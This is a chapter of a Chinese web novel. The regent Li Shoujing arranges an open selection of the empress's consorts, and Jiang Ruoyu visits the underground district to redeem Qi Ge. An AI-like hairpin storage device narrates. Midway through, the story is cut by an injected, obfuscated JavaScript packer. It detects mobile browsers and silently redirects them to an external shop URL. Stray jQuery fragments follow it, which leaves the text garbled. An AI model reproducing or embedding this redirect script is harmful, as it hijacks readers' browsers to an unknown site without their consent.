一场震动承天府的刑部南所遇袭案,以某种诡异的姿态草草收了尾。

    案卷上的说法干净利落:王昭已死,凶手为两名身份不明的江湖人,当场伏诛;同伙斜眼与陈暗也先后毙命,人证物证俱了,算是对此事画下了一道“不计前情、不追后事”的休止符。

    至于朝堂上那份悬而未决的盐课案,据李守静无意间漏了一句,户部的奏疏已递进内阁,拟签也已写好,只差呈上去了。

    我第一时间更新了词条库。看来本地也有给上官附“拟办意见”的规矩。

    这种“附签批注”的习惯,让我想起齐格收藏的某个冷门资料:

    大麦哲伦云边缘有种叫阿奇拉的生命体,没有文字。

    重要议案在提交主脑审议前,需要十二位皮层祭司用身体交缠的方式完成“附触”,通过皮肤褶皱传递化学信号。

    但问题在于——那个“交缠”的过程,看上去……怎么形容呢……不太体面。

    若主脑对拟办意见不满意,就重新来一遍;遇上复杂议题,祭司们可能要反复交缠好几天,累得触须打结。

    我深疑这套制度的发明人,要么怀着某种恶趣味的幽默感,要么就是单纯想围观别人尴尬。

    不过话说回来,至少阿奇拉的“附触”不像人类的奏疏上贴黄纸条那么容易被人偷看。

    从保密角度来说,略胜一筹。

    我把词条存好,继续偷听。

    毒素代谢干净、又能活蹦乱跳的江若鱼,已经叽叽喳喳逼问了李守静半个时辰——显然这两日在屋里憋坏了。

    “你为什么不告诉我地下城是你的地盘!”

    李守静挠了挠耳廓,笑了一声:“嗯。那叫大坑坊。”

    江若鱼得知地下城的话事人九爷是李守静的眼线,窘得脸上挂不住。

    她以为自己在四处打探消息,到头来只是在李守静眼皮底下兜圈子。

    “那十二金枝巷呢?”

    “嗯。勉强认得。”

    “那葫芦坊呢?”

    “嗯。略有了解。”

    江若鱼不满至极,又质问李守静为何把齐格藏起来害她好找。

    “你有事做,齐格安全,我全盘掌控。”李守静笑道,“这不挺好。”

    正说着,在门外转了好几圈的张衡终于忍不住了。他捧着一本明黄封面的册子,探着脖子往书房里张望,山羊胡子一翘一翘,像只被晾久了的老鹌鹑。

    张衡是承天府左参政,李守静的首席属官,平日里沉稳持重,这会儿却急得直跺脚,显然手里的东西非同小可。

    李守静抬眼瞥了门口一眼,搁下笔,淡淡道:“进来。”

    张衡几乎侧身挤进,把门带上后快步走到案前。

    他先规规矩矩行了礼,又瞥了一眼窗边正假装欣赏书架的江若鱼,嘴唇翕动了一下,欲言又止。

    李守静没有赶人,只抬了抬下巴:“说。”

    张衡压低声音,像是怕隔墙有耳:“大人,含章殿刚送来的内札。皇上要在近畿三州选鹤君,承天府分到四个名额,得赶紧报上去。”说着双手奉上本明黄册子,又补了一句,“卑职不敢擅专,特来请您示下。这事儿说大不大说小不小,名额就四个,您看给谁?”

    李守静接过册子随手翻了一页,又合上。他没有立刻回答,而是靠在椅背上,手指在扶手上轻轻叩了两下,像在拨算盘。

    江若鱼在窗边竖起耳朵,手里捏着一方镇纸假装端详刻纹,眼神却悄悄往这边瞟。

    片刻后,李守静开口,声音不高,却让张衡立刻站直了腰:“发布告。”

    张衡一愣:“王爷的意思是——”

    “贴布告,公开征选。”李守静语气平淡,又补了一句,“承天府高门大户云集,王公贵戚遍地。这四个名额要是私下定了,给谁家不给谁家,都是把柄,都是官司。与其得罪人,不如敞开来,让他们自己送人来——条件写清楚,符合的就报名,先到先得。谁没选上,那是命数。”

    张衡张了张嘴,似有话说,又咽了回去。他琢磨了几息,眼睛亮了,拱手道:“大人高明。卑职这就去办。”

    书房里安静下来。

    江若鱼放下镇纸,若无其事地踱到案边,小声问:“选鹤君……是什么?我能去参加吗?”

    李守静把没批完的折子搁在一旁,起身捶了捶后腰:“皇上选妃,你这条小鱼儿怕是不合适。”

    江若鱼恍然大悟,跟在李守静屁股后头一路追问:“咱们皇帝是位姐姐,选的不叫妃子叫鹤君?哇,好雅致的称呼。但为何只选三州的好男儿?我还想飞书给我大师兄去试试呢——我大师兄长得可好看了。”

    李守静叹了一声,抬脚往前厅走去。

    喧声像涨潮的水一般渐渐漫上来,不过我的意感粒子仍旧能在嘈杂中筛出值得归档的信息。

    “往年选妃,都是礼部操持。”李守静边走边说,像在同江若鱼闲聊,又像在自语,“下旨、海选、初选、复选、殿选——一套走下来,少说大半年。各地官员忙着送女入京,百姓忙着避讳嫁娶,朝堂上连篇累牍议论人选,动静大得恨不得敲锣打鼓让全天下都知道。”

    江若鱼眨眨眼:“毕竟是给皇帝挑妃子,又不是早市上买油炸糕。”

    李守静站在树下,望着往来不绝的百姓、官差与衙役,目光像在打量今儿又有哪桩官司要递到案上来。

    “皇上不想折腾。一来刚登基,不宜张扬;二来身子骨还没养利索,不耐大操大办;三来——”他压低声音,“若是这当口大兴选鹤君,言官们的折子能堆成山。”

    江若鱼歪头想了想:“那干脆先不选嘛,等我大师兄以后赶上了再说。”

    我边记边想:江云开和江月出这保密工作,做得可真够扎实的。

    李守静笑了一声:“不选也不行。徐又年——内阁首辅,年过六旬的老臣——隔三差五便递折子,说‘宗庙后嗣所系,望陛下早作打算’。折子写得情真意切、言辞恳切,皇上批也不是,不批也不是。”

    江若鱼转身跑回屋里倒了杯茶,殷勤地递给李守静:“然后呢然后呢?”

    李守静接过来抿了一口,笑眯眯道:“然后我给皇上提了个折中的法子:不声张,不交礼部,只在近畿三州悄悄选几个合意的人。如此,既全了徐又年那份‘关乎社稷’的拳拳之心,也算给朝臣们一个交代——皇上心里有数,并非沉溺私欲。皇上呢,也不至于落个‘耽于享乐’的污名。”

    江若鱼似懂非懂地点了点头,叹了一声:“当皇帝真难,连挑几个人都要算来算去。”

    李守静垂眸看着茶盏里浮沉的叶片,声音低了几分:“女子当政,本就不易。一举一动都在人眼里,稍有不慎便落个‘牝鸡司晨’‘沉迷男色’的话柄。她不能大张旗鼓地享乐,又不能清心寡欲到让朝臣觉得她不近人情——这个火候,比把黄米糕煎至两面金黄还难拿捏。”

    江若鱼大笑一声:“那你们可得挑好看的油炸糕给皇帝姐姐,不然她不好下嘴。”

    李守静端着茶盏的手顿了一下,像是被茶水呛着了。

    随即他放下茶盏,摇头笑了笑,语气里有几分无奈的赞许:“多谢若鱼女侠提点。”

    ---------------------------------------------

    骚扰够了李守静,江若鱼第一件事便是直奔大坑坊。

    她揣着今早从张福那儿磨来的二两银子,风风火火钻进地下城,要把齐格从“以工抵债”的苦海里捞出来。

    说来也是齐格倒霉。

    那日情急之下他一头撞坏了张青将军的雕像,被大坑坊的话事人九爷按着头算了一笔账:修缮费、伤药费、伙食费、误工费,杂七杂八加起来拢共七十七两。

    齐格掏不出钱,九爷也不急,笑眯眯丢下一句“那就拿人来抵”。

    于是齐格白日里给“哈哈哈”王爷当护卫,夜里还得来大坑坊搬石头、修墙、补窟窿。

    说起顺亲王李守顺——虽然无恶不作,品味倒是意外不俗,对齐格赏识有加。

    此番七星楼元气大伤,齐格

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832530|209825||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    本以为会被灭口,结果非但没被赶走,反而得了李守顺一句“深藏不露、胆识过人,勤勉效力、必有升赏”——总之精神鼓励管够,俸禄奖赏则纹丝不动。

    大坑坊依旧热闹得很。

    江若鱼在张青将军的雕像下找到齐格时,他正灰头土脸站在木架子上打灰。

    江若鱼仰头吼了一嗓子,齐格便噌地一声轻巧落地,引得周围工匠们纷纷侧目。

    “喏,我买了夹肉烧饼,加了两份肉。”江若鱼说着又掏出一把莲子糖递过去,“经历大人夫人自己做的,今早给了我一把,我吃了一半,给你留了一半。”

    齐格长长吁了口气,坐在石头上大口吃起来,笑得眉眼都弯了:“好,那我也分你一半糖吃。不过小心甜食吃多了长蛀牙,记得漱口。”

    说着齐格便把剩下的莲子糖又分了一半塞回江若鱼手心。

    两人就这么挨着坐在石头上,边吃边笑边闲聊,把一旁监工的九爷看得牙根直泛酸。

    九爷——大坑坊本地人,地下城话事人,人称大坑主,是个年过四十的女人。

    她坐姿张狂恣意,灰白发髻上簪了朵银兰花,面容寻常,肌肉含量偏低,一看便知不是武人。

    “喂,丫头,想赎这小子简单,把离北剑拿来交换。”九爷抱怀,下巴抬了抬,“如何?九爷向来公道,绝不坐地起价。”

    江若鱼撇撇嘴,嘟囔道:“少来这套。耽误你们下棋打牌算什么误工费,分明是讹诈。”

    “哈哈,被你看穿了。”九爷晃了晃脑袋,将江若鱼从头到脚又打量了一遍,“话说回来,你那离北剑当真是从别人手里买的?”

    江若鱼点点头,一脸坦荡:“当时剑主没钱住店,把剑当给了掌柜。我瞧着不错,就下手为强买了来。旧是旧了点,凑合用嘛——我阿爹说了,行走江湖,武器这东西能用就行。”

    我不规律地闪了几下。

    这丫头扯谎的本事真是一流,连我都差点信了。

    九爷闻言,目光再次从下往上扫了江若鱼一遍,最终落在我身上:“你那发钗——”

    齐格一惊,赶忙侧身挡住九爷的视线,额上见了薄汗:“这个不行,这个真不行。”

    九爷也不纠缠,背着手丢下一句:“快点腻歪,腻歪完赶紧干活!”说罢转身走了。

    待九爷走远,齐格才松了口气,认真对江若鱼道:“对了,我一直想教你怎么跟小丫交流。它有最基本的应答功能——以后若遇上拿不准的事,可以问它。”

    江若鱼把我摘下来翻来覆去摸了好几遍,一头雾水:“小丫能听到我说话?”

    齐格像是下了很大决心,又像在无声警告我,微微眯起眼,一字一顿道:“不过它只能回答‘是’或‘否’——你明白我的意思么,小丫?”

    ……情绪解析中。

    我懂了。

    前任主人还没做好向现任主人公开学习资料的心理准备。

    也罢,理解、尊重。毕竟我是具备较高服务意识的储存阵列。

    江若鱼见我闪了一下,惊喜地压着嗓子问:“小丫小丫,闪一下就代表‘是’吗?”

    齐格捏着我的外壳,笑道:“一下代表‘是’,急促闪两下代表‘否’。当初我给它重写过代码,它的逻辑思维能力比普通版本强不少——尤其是情感模拟方面。江若鱼,你若自己拿不准,可以问问它的意见。”

    江若鱼惊喜交加,连连点头,当场进入验证环节:“虽然有些难懂,不过不要紧——小丫小丫告诉我,我是不是世上最好看的人?”

    ……处理器微微一滞。

    我紧急向齐格发送求救信号!这个问题,我该怎么回答?

    齐格读取了我的脉冲信号后,笑得前俯后仰,拍了拍江若鱼的后脑勺:“嗯,是!”

    江若鱼脸颊飞上两片薄红,赶忙将我插回发间,起身便走:“我、我先走了,明天再来找你。”

    闪了个寂寞。江若鱼全程没看我。

    也罢。只要两个主人开开心心,我这个做储存阵列的,也算尽职了。